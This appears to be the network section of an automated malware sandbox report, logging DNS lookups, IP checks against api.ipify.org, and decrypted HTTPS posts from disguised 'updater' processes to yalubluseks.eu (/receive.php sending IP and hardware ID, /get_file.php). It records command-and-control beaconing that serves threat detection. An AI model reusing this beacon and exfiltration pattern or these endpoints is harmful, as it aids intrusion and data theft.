Oct 3, 2024 06:55:28.230583906 CEST	49814	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:55:28.230618000 CEST	443	49814	104.21.54.163	192.168.2.4
Oct 3, 2024 06:55:28.265853882 CEST	443	49813	104.21.54.163	192.168.2.4
Oct 3, 2024 06:55:28.266170979 CEST	49813	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:55:28.266201019 CEST	443	49813	104.21.54.163	192.168.2.4
Oct 3, 2024 06:55:28.300338030 CEST	443	49812	104.21.54.163	192.168.2.4
Oct 3, 2024 06:55:28.300416946 CEST	443	49812	104.21.54.163	192.168.2.4
Oct 3, 2024 06:55:28.300519943 CEST	49812	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:55:28.300998926 CEST	49812	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:55:28.302030087 CEST	49815	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:55:28.302072048 CEST	443	49815	104.21.54.163	192.168.2.4
Oct 3, 2024 06:55:28.302164078 CEST	49815	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:55:28.302474022 CEST	49815	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:55:28.302498102 CEST	443	49815	104.21.54.163	192.168.2.4
Oct 3, 2024 06:55:28.365115881 CEST	443	49814	104.21.54.163	192.168.2.4
Oct 3, 2024 06:55:28.371318102 CEST	49814	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:55:28.371345997 CEST	443	49814	104.21.54.163	192.168.2.4
Oct 3, 2024 06:55:28.550615072 CEST	443	49813	104.21.54.163	192.168.2.4
Oct 3, 2024 06:55:28.550717115 CEST	443	49813	104.21.54.163	192.168.2.4
Oct 3, 2024 06:55:28.550812960 CEST	49813	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:55:28.551362991 CEST	49813	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:55:28.552373886 CEST	49816	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:55:28.552484989 CEST	443	49816	104.21.54.163	192.168.2.4
Oct 3, 2024 06:55:28.555135965 CEST	49816	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:55:28.555440903 CEST	49816	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:55:28.555469990 CEST	443	49816	104.21.54.163	192.168.2.4
Oct 3, 2024 06:55:28.662441969 CEST	443	49814	104.21.54.163	192.168.2.4
Oct 3, 2024 06:55:28.662532091 CEST	443	49814	104.21.54.163	192.168.2.4
Oct 3, 2024 06:55:28.662748098 CEST	49814	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:55:28.765012026 CEST	443	49815	104.21.54.163	192.168.2.4
Oct 3, 2024 06:55:28.815937042 CEST	49815	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:55:29.010437012 CEST	443	49816	104.21.54.163	192.168.2.4
Oct 3, 2024 06:55:29.065933943 CEST	49816	443	192.168.2.4	104.21.54.163

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 3, 2024 06:52:20.113768101 CEST	64193	53	192.168.2.4	1.1.1.1
Oct 3, 2024 06:52:20.120382071 CEST	53	64193	1.1.1.1	192.168.2.4
Oct 3, 2024 06:52:20.604772091 CEST	54531	53	192.168.2.4	1.1.1.1
Oct 3, 2024 06:52:20.671150923 CEST	53	54531	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 3, 2024 06:52:20.113768101 CEST	192.168.2.4	1.1.1.1	0x5278	Standard query (0)	api.ipify.org	A (IP address)	IN (0x0001)	false
Oct 3, 2024 06:52:20.604772091 CEST	192.168.2.4	1.1.1.1	0xbe1d	Standard query (0)	yalubluseks.eu	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Oct 3, 2024 06:52:20.120382071 CEST	1.1.1.1	192.168.2.4	0x5278	No error (0)	api.ipify.org	104.26.13.205	A (IP address)	IN (0x0001)	false
Oct 3, 2024 06:52:20.120382071 CEST	1.1.1.1	192.168.2.4	0x5278	No error (0)	api.ipify.org	172.67.74.152	A (IP address)	IN (0x0001)	false
Oct 3, 2024 06:52:20.120382071 CEST	1.1.1.1	192.168.2.4	0x5278	No error (0)	api.ipify.org	104.26.12.205	A (IP address)	IN (0x0001)	false
Oct 3, 2024 06:52:20.671150923 CEST	1.1.1.1	192.168.2.4	0xbe1d	No error (0)	yalubluseks.eu	104.21.54.163	A (IP address)	IN (0x0001)	false
Oct 3, 2024 06:52:20.671150923 CEST	1.1.1.1	192.168.2.4	0xbe1d	No error (0)	yalubluseks.eu	172.67.140.92	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

yalubluseks.eu

api.ipify.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	104.26.13.205	80	6480	C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 06:52:20.145239115 CEST	63	OUT	GET / HTTP/1.1 Host: api.ipify.org Connection: Keep-Alive
Oct 3, 2024 06:52:20.591435909 CEST	227	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 04:52:20 GMT Content-Type: text/plain Content-Length: 11 Connection: keep-alive Vary: Origin CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 8cca527c5abcc32e-EWR Data Raw: 38 2e 34 36 2e 31 32 33 2e 33 33 Data Ascii: 8.46.123.33
Oct 3, 2024 06:52:22.136101007 CEST	39	OUT	GET / HTTP/1.1 Host: api.ipify.org
Oct 3, 2024 06:52:22.238219976 CEST	227	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 04:52:22 GMT Content-Type: text/plain Content-Length: 11 Connection: keep-alive Vary: Origin CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 8cca5286a9e1c32e-EWR Data Raw: 38 2e 34 36 2e 31 32 33 2e 33 33 Data Ascii: 8.46.123.33

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49749	104.26.13.205	80	2488	C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 06:52:48.238869905 CEST	63	OUT	GET / HTTP/1.1 Host: api.ipify.org Connection: Keep-Alive
Oct 3, 2024 06:52:48.737541914 CEST	227	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 04:52:48 GMT Content-Type: text/plain Content-Length: 11 Connection: keep-alive Vary: Origin CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 8cca532c3c608c77-EWR Data Raw: 38 2e 34 36 2e 31 32 33 2e 33 33 Data Ascii: 8.46.123.33
Oct 3, 2024 06:52:49.829735041 CEST	39	OUT	GET / HTTP/1.1 Host: api.ipify.org
Oct 3, 2024 06:52:49.950757980 CEST	227	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 04:52:49 GMT Content-Type: text/plain Content-Length: 11 Connection: keep-alive Vary: Origin CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 8cca5333c9008c77-EWR Data Raw: 38 2e 34 36 2e 31 32 33 2e 33 33 Data Ascii: 8.46.123.33

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49753	104.26.13.205	80	7124	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 06:52:56.413243055 CEST	63	OUT	GET / HTTP/1.1 Host: api.ipify.org Connection: Keep-Alive
Oct 3, 2024 06:52:57.002075911 CEST	227	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 04:52:56 GMT Content-Type: text/plain Content-Length: 11 Connection: keep-alive Vary: Origin CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 8cca535fbbb20c80-EWR Data Raw: 38 2e 34 36 2e 31 32 33 2e 33 33 Data Ascii: 8.46.123.33
Oct 3, 2024 06:52:58.105088949 CEST	39	OUT	GET / HTTP/1.1 Host: api.ipify.org
Oct 3, 2024 06:52:58.208225965 CEST	227	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 04:52:58 GMT Content-Type: text/plain Content-Length: 11 Connection: keep-alive Vary: Origin CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 8cca536779ca0c80-EWR Data Raw: 38 2e 34 36 2e 31 32 33 2e 33 33 Data Ascii: 8.46.123.33

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49758	104.26.13.205	80	6480	C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 06:53:26.192328930 CEST	39	OUT	GET / HTTP/1.1 Host: api.ipify.org
Oct 3, 2024 06:53:26.653465986 CEST	227	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 04:53:26 GMT Content-Type: text/plain Content-Length: 11 Connection: keep-alive Vary: Origin CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 8cca54193e1542e5-EWR Data Raw: 38 2e 34 36 2e 31 32 33 2e 33 33 Data Ascii: 8.46.123.33

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49760	104.26.13.205	80	6480	C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 06:53:27.572942019 CEST	39	OUT	GET / HTTP/1.1 Host: api.ipify.org
Oct 3, 2024 06:53:28.048118114 CEST	227	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 04:53:27 GMT Content-Type: text/plain Content-Length: 11 Connection: keep-alive Vary: Origin CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 8cca5421ec1419d3-EWR Data Raw: 38 2e 34 36 2e 31 32 33 2e 33 33 Data Ascii: 8.46.123.33

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49763	104.26.13.205	80	6480	C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 06:53:34.193074942 CEST	39	OUT	GET / HTTP/1.1 Host: api.ipify.org
Oct 3, 2024 06:53:34.668975115 CEST	227	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 04:53:34 GMT Content-Type: text/plain Content-Length: 11 Connection: keep-alive Vary: Origin CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 8cca544b492b8c9b-EWR Data Raw: 38 2e 34 36 2e 31 32 33 2e 33 33 Data Ascii: 8.46.123.33

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49765	104.26.13.205	80	6480	C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 06:53:35.596878052 CEST	39	OUT	GET / HTTP/1.1 Host: api.ipify.org
Oct 3, 2024 06:53:36.070343971 CEST	227	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 04:53:36 GMT Content-Type: text/plain Content-Length: 11 Connection: keep-alive Vary: Origin CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 8cca545408f742f2-EWR Data Raw: 38 2e 34 36 2e 31 32 33 2e 33 33 Data Ascii: 8.46.123.33

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49768	104.26.13.205	80	6480	C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 06:53:39.846515894 CEST	63	OUT	GET / HTTP/1.1 Host: api.ipify.org Connection: Keep-Alive
Oct 3, 2024 06:53:40.321969986 CEST	227	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 04:53:40 GMT Content-Type: text/plain Content-Length: 11 Connection: keep-alive Vary: Origin CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 8cca546e9a718ce2-EWR Data Raw: 38 2e 34 36 2e 31 32 33 2e 33 33 Data Ascii: 8.46.123.33

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49770	104.26.13.205	80	6480	C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 06:53:41.416971922 CEST	39	OUT	GET / HTTP/1.1 Host: api.ipify.org
Oct 3, 2024 06:53:41.877695084 CEST	227	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 04:53:41 GMT Content-Type: text/plain Content-Length: 11 Connection: keep-alive Vary: Origin CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 8cca54785c514334-EWR Data Raw: 38 2e 34 36 2e 31 32 33 2e 33 33 Data Ascii: 8.46.123.33

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49773	104.26.13.205	80	2488	C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 06:54:03.218317986 CEST	39	OUT	GET / HTTP/1.1 Host: api.ipify.org
Oct 3, 2024 06:54:03.720170021 CEST	227	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 04:54:03 GMT Content-Type: text/plain Content-Length: 11 Connection: keep-alive Vary: Origin CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 8cca5500d92b4225-EWR Data Raw: 38 2e 34 36 2e 31 32 33 2e 33 33 Data Ascii: 8.46.123.33

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49775	104.26.13.205	80	2488	C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 06:54:04.844757080 CEST	39	OUT	GET / HTTP/1.1 Host: api.ipify.org
Oct 3, 2024 06:54:05.310648918 CEST	227	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 04:54:05 GMT Content-Type: text/plain Content-Length: 11 Connection: keep-alive Vary: Origin CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 8cca550adfde6a53-EWR Data Raw: 38 2e 34 36 2e 31 32 33 2e 33 33 Data Ascii: 8.46.123.33

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49778	104.26.13.205	80	6480	C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 06:54:34.845525026 CEST	63	OUT	GET / HTTP/1.1 Host: api.ipify.org Connection: Keep-Alive
Oct 3, 2024 06:54:35.299020052 CEST	227	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 04:54:35 GMT Content-Type: text/plain Content-Length: 11 Connection: keep-alive Vary: Origin CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 8cca55c63fd443b7-EWR Data Raw: 38 2e 34 36 2e 31 32 33 2e 33 33 Data Ascii: 8.46.123.33
Oct 3, 2024 06:54:35.586913109 CEST	227	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 04:54:35 GMT Content-Type: text/plain Content-Length: 11 Connection: keep-alive Vary: Origin CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 8cca55c63fd443b7-EWR Data Raw: 38 2e 34 36 2e 31 32 33 2e 33 33 Data Ascii: 8.46.123.33

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49780	104.26.13.205	80	6480	C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 06:54:36.217592955 CEST	39	OUT	GET / HTTP/1.1 Host: api.ipify.org
Oct 3, 2024 06:54:36.676245928 CEST	227	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 04:54:36 GMT Content-Type: text/plain Content-Length: 11 Connection: keep-alive Vary: Origin CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 8cca55cedc0ec45e-EWR Data Raw: 38 2e 34 36 2e 31 32 33 2e 33 33 Data Ascii: 8.46.123.33

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49783	104.26.13.205	80	2488	C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 06:54:39.575108051 CEST	63	OUT	GET / HTTP/1.1 Host: api.ipify.org Connection: Keep-Alive
Oct 3, 2024 06:54:40.064800978 CEST	227	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 04:54:40 GMT Content-Type: text/plain Content-Length: 11 Connection: keep-alive Vary: Origin CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 8cca55e3ec220fa0-EWR Data Raw: 38 2e 34 36 2e 31 32 33 2e 33 33 Data Ascii: 8.46.123.33

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49785	104.26.13.205	80	2488	C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 06:54:40.961605072 CEST	39	OUT	GET / HTTP/1.1 Host: api.ipify.org
Oct 3, 2024 06:54:41.441277981 CEST	227	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 04:54:41 GMT Content-Type: text/plain Content-Length: 11 Connection: keep-alive Vary: Origin CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 8cca55ec9bea1895-EWR Data Raw: 38 2e 34 36 2e 31 32 33 2e 33 33 Data Ascii: 8.46.123.33

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49788	104.26.13.205	80	7124	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 06:54:45.303953886 CEST	63	OUT	GET / HTTP/1.1 Host: api.ipify.org Connection: Keep-Alive
Oct 3, 2024 06:54:45.757462978 CEST	227	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 04:54:45 GMT Content-Type: text/plain Content-Length: 11 Connection: keep-alive Vary: Origin CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 8cca56079c240fa0-EWR Data Raw: 38 2e 34 36 2e 31 32 33 2e 33 33 Data Ascii: 8.46.123.33
Oct 3, 2024 06:54:46.042872906 CEST	227	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 04:54:45 GMT Content-Type: text/plain Content-Length: 11 Connection: keep-alive Vary: Origin CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 8cca56079c240fa0-EWR Data Raw: 38 2e 34 36 2e 31 32 33 2e 33 33 Data Ascii: 8.46.123.33
Oct 3, 2024 06:54:46.744379997 CEST	39	OUT	GET / HTTP/1.1 Host: api.ipify.org
Oct 3, 2024 06:54:46.847774982 CEST	227	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 04:54:46 GMT Content-Type: text/plain Content-Length: 11 Connection: keep-alive Vary: Origin CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 8cca560e6ffd0fa0-EWR Data Raw: 38 2e 34 36 2e 31 32 33 2e 33 33 Data Ascii: 8.46.123.33

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49792	104.26.13.205	80	7124	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 06:54:52.900764942 CEST	39	OUT	GET / HTTP/1.1 Host: api.ipify.org
Oct 3, 2024 06:54:53.484560013 CEST	227	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 04:54:53 GMT Content-Type: text/plain Content-Length: 11 Connection: keep-alive Vary: Origin CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 8cca5637486a7d24-EWR Data Raw: 38 2e 34 36 2e 31 32 33 2e 33 33 Data Ascii: 8.46.123.33

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49794	104.26.13.205	80	7124	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 06:54:54.586114883 CEST	39	OUT	GET / HTTP/1.1 Host: api.ipify.org
Oct 3, 2024 06:54:55.079452038 CEST	227	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 04:54:55 GMT Content-Type: text/plain Content-Length: 11 Connection: keep-alive Vary: Origin CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 8cca5641de038c41-EWR Data Raw: 38 2e 34 36 2e 31 32 33 2e 33 33 Data Ascii: 8.46.123.33

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49797	104.26.13.205	80	7124	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 06:55:10.230035067 CEST	39	OUT	GET / HTTP/1.1 Host: api.ipify.org
Oct 3, 2024 06:55:10.717593908 CEST	227	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 04:55:10 GMT Content-Type: text/plain Content-Length: 11 Connection: keep-alive Vary: Origin CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 8cca56a388f80f97-EWR Data Raw: 38 2e 34 36 2e 31 32 33 2e 33 33 Data Ascii: 8.46.123.33
Oct 3, 2024 06:55:11.736907959 CEST	39	OUT	GET / HTTP/1.1 Host: api.ipify.org
Oct 3, 2024 06:55:11.841931105 CEST	227	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 04:55:11 GMT Content-Type: text/plain Content-Length: 11 Connection: keep-alive Vary: Origin CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 8cca56aaaeaa0f97-EWR Data Raw: 38 2e 34 36 2e 31 32 33 2e 33 33 Data Ascii: 8.46.123.33

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49801	104.26.13.205	80	7124	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 06:55:20.089932919 CEST	39	OUT	GET / HTTP/1.1 Host: api.ipify.org
Oct 3, 2024 06:55:20.590311050 CEST	227	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 04:55:20 GMT Content-Type: text/plain Content-Length: 11 Connection: keep-alive Vary: Origin CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 8cca56e13a490f37-EWR Data Raw: 38 2e 34 36 2e 31 32 33 2e 33 33 Data Ascii: 8.46.123.33

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49803	104.26.13.205	80	7124	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 06:55:21.825503111 CEST	39	OUT	GET / HTTP/1.1 Host: api.ipify.org
Oct 3, 2024 06:55:22.289100885 CEST	227	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 04:55:22 GMT Content-Type: text/plain Content-Length: 11 Connection: keep-alive Vary: Origin CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 8cca56ebe9a76a59-EWR Data Raw: 38 2e 34 36 2e 31 32 33 2e 33 33 Data Ascii: 8.46.123.33
Oct 3, 2024 06:55:26.338371992 CEST	39	OUT	GET / HTTP/1.1 Host: api.ipify.org
Oct 3, 2024 06:55:26.443504095 CEST	227	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 04:55:26 GMT Content-Type: text/plain Content-Length: 11 Connection: keep-alive Vary: Origin CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 8cca5705e8ff6a59-EWR Data Raw: 38 2e 34 36 2e 31 32 33 2e 33 33 Data Ascii: 8.46.123.33
Oct 3, 2024 06:55:27.374465942 CEST	39	OUT	GET / HTTP/1.1 Host: api.ipify.org
Oct 3, 2024 06:55:27.479743004 CEST	227	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 04:55:27 GMT Content-Type: text/plain Content-Length: 11 Connection: keep-alive Vary: Origin CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 8cca570c5d326a59-EWR Data Raw: 38 2e 34 36 2e 31 32 33 2e 33 33 Data Ascii: 8.46.123.33

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.4	49806	104.26.13.205	80

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 06:55:26.171889067 CEST	63	OUT	GET / HTTP/1.1 Host: api.ipify.org Connection: Keep-Alive
Oct 3, 2024 06:55:26.631807089 CEST	227	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 04:55:26 GMT Content-Type: text/plain Content-Length: 11 Connection: keep-alive Vary: Origin CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 8cca57070fefc327-EWR Data Raw: 38 2e 34 36 2e 31 32 33 2e 33 33 Data Ascii: 8.46.123.33
Oct 3, 2024 06:55:26.844161034 CEST	227	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 04:55:26 GMT Content-Type: text/plain Content-Length: 11 Connection: keep-alive Vary: Origin CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 8cca57070fefc327-EWR Data Raw: 38 2e 34 36 2e 31 32 33 2e 33 33 Data Ascii: 8.46.123.33
Oct 3, 2024 06:55:27.540285110 CEST	39	OUT	GET / HTTP/1.1 Host: api.ipify.org
Oct 3, 2024 06:55:27.643080950 CEST	227	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 04:55:27 GMT Content-Type: text/plain Content-Length: 11 Connection: keep-alive Vary: Origin CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 8cca570d6b09c327-EWR Data Raw: 38 2e 34 36 2e 31 32 33 2e 33 33 Data Ascii: 8.46.123.33

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.4	49807	104.26.13.205	80

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 06:55:26.319106102 CEST	63	OUT	GET / HTTP/1.1 Host: api.ipify.org Connection: Keep-Alive
Oct 3, 2024 06:55:26.776462078 CEST	227	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 04:55:26 GMT Content-Type: text/plain Content-Length: 11 Connection: keep-alive Vary: Origin CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 8cca5707fa2d420a-EWR Data Raw: 38 2e 34 36 2e 31 32 33 2e 33 33 Data Ascii: 8.46.123.33
Oct 3, 2024 06:55:27.662791014 CEST	39	OUT	GET / HTTP/1.1 Host: api.ipify.org
Oct 3, 2024 06:55:27.764951944 CEST	227	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 04:55:27 GMT Content-Type: text/plain Content-Length: 11 Connection: keep-alive Vary: Origin CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 8cca570e2dad420a-EWR Data Raw: 38 2e 34 36 2e 31 32 33 2e 33 33 Data Ascii: 8.46.123.33

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49731	104.21.54.163	443	6480	C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 04:52:21 UTC	167	OUT	POST /receive.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: yalubluseks.eu Content-Length: 84 Expect: 100-continue Connection: Keep-Alive
2024-10-03 04:52:21 UTC	25	IN	HTTP/1.1 100 Continue
2024-10-03 04:52:21 UTC	84	OUT	Data Raw: 69 70 3d 38 2e 34 36 2e 31 32 33 2e 33 33 26 68 77 69 64 3d 39 65 36 33 65 33 36 61 32 36 30 33 36 35 36 36 62 30 30 66 65 63 35 35 35 36 61 38 39 65 34 33 62 36 36 61 38 34 32 30 38 63 32 39 64 39 35 39 32 62 62 62 30 66 34 65 30 65 65 36 30 30 34 61 Data Ascii: ip=8.46.123.33&hwid=9e63e36a26036566b00fec5556a89e43b66a84208c29d9592bbb0f4e0ee6004a
2024-10-03 04:52:22 UTC	607	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 04:52:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding X-Content-Type-Options: nosniff cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=579rKO%2FjUmP4kSiXtj6URm3tCAhsflzTdslCPlBn54KAaCsRCKYIGWhqhXUpVMgItoqA9fdVaUaBf76hBBI7H7%2B%2BejOpBtXgSwfmhcao01SSk18nwSTGcbqzsbReUy1Zrg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cca52835b0942d8-EWR 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49732	104.21.54.163	443	6480	C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 04:52:22 UTC	144	OUT	POST /get_file.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: yalubluseks.eu Content-Length: 84 Expect: 100-continue
2024-10-03 04:52:22 UTC	25	IN	HTTP/1.1 100 Continue
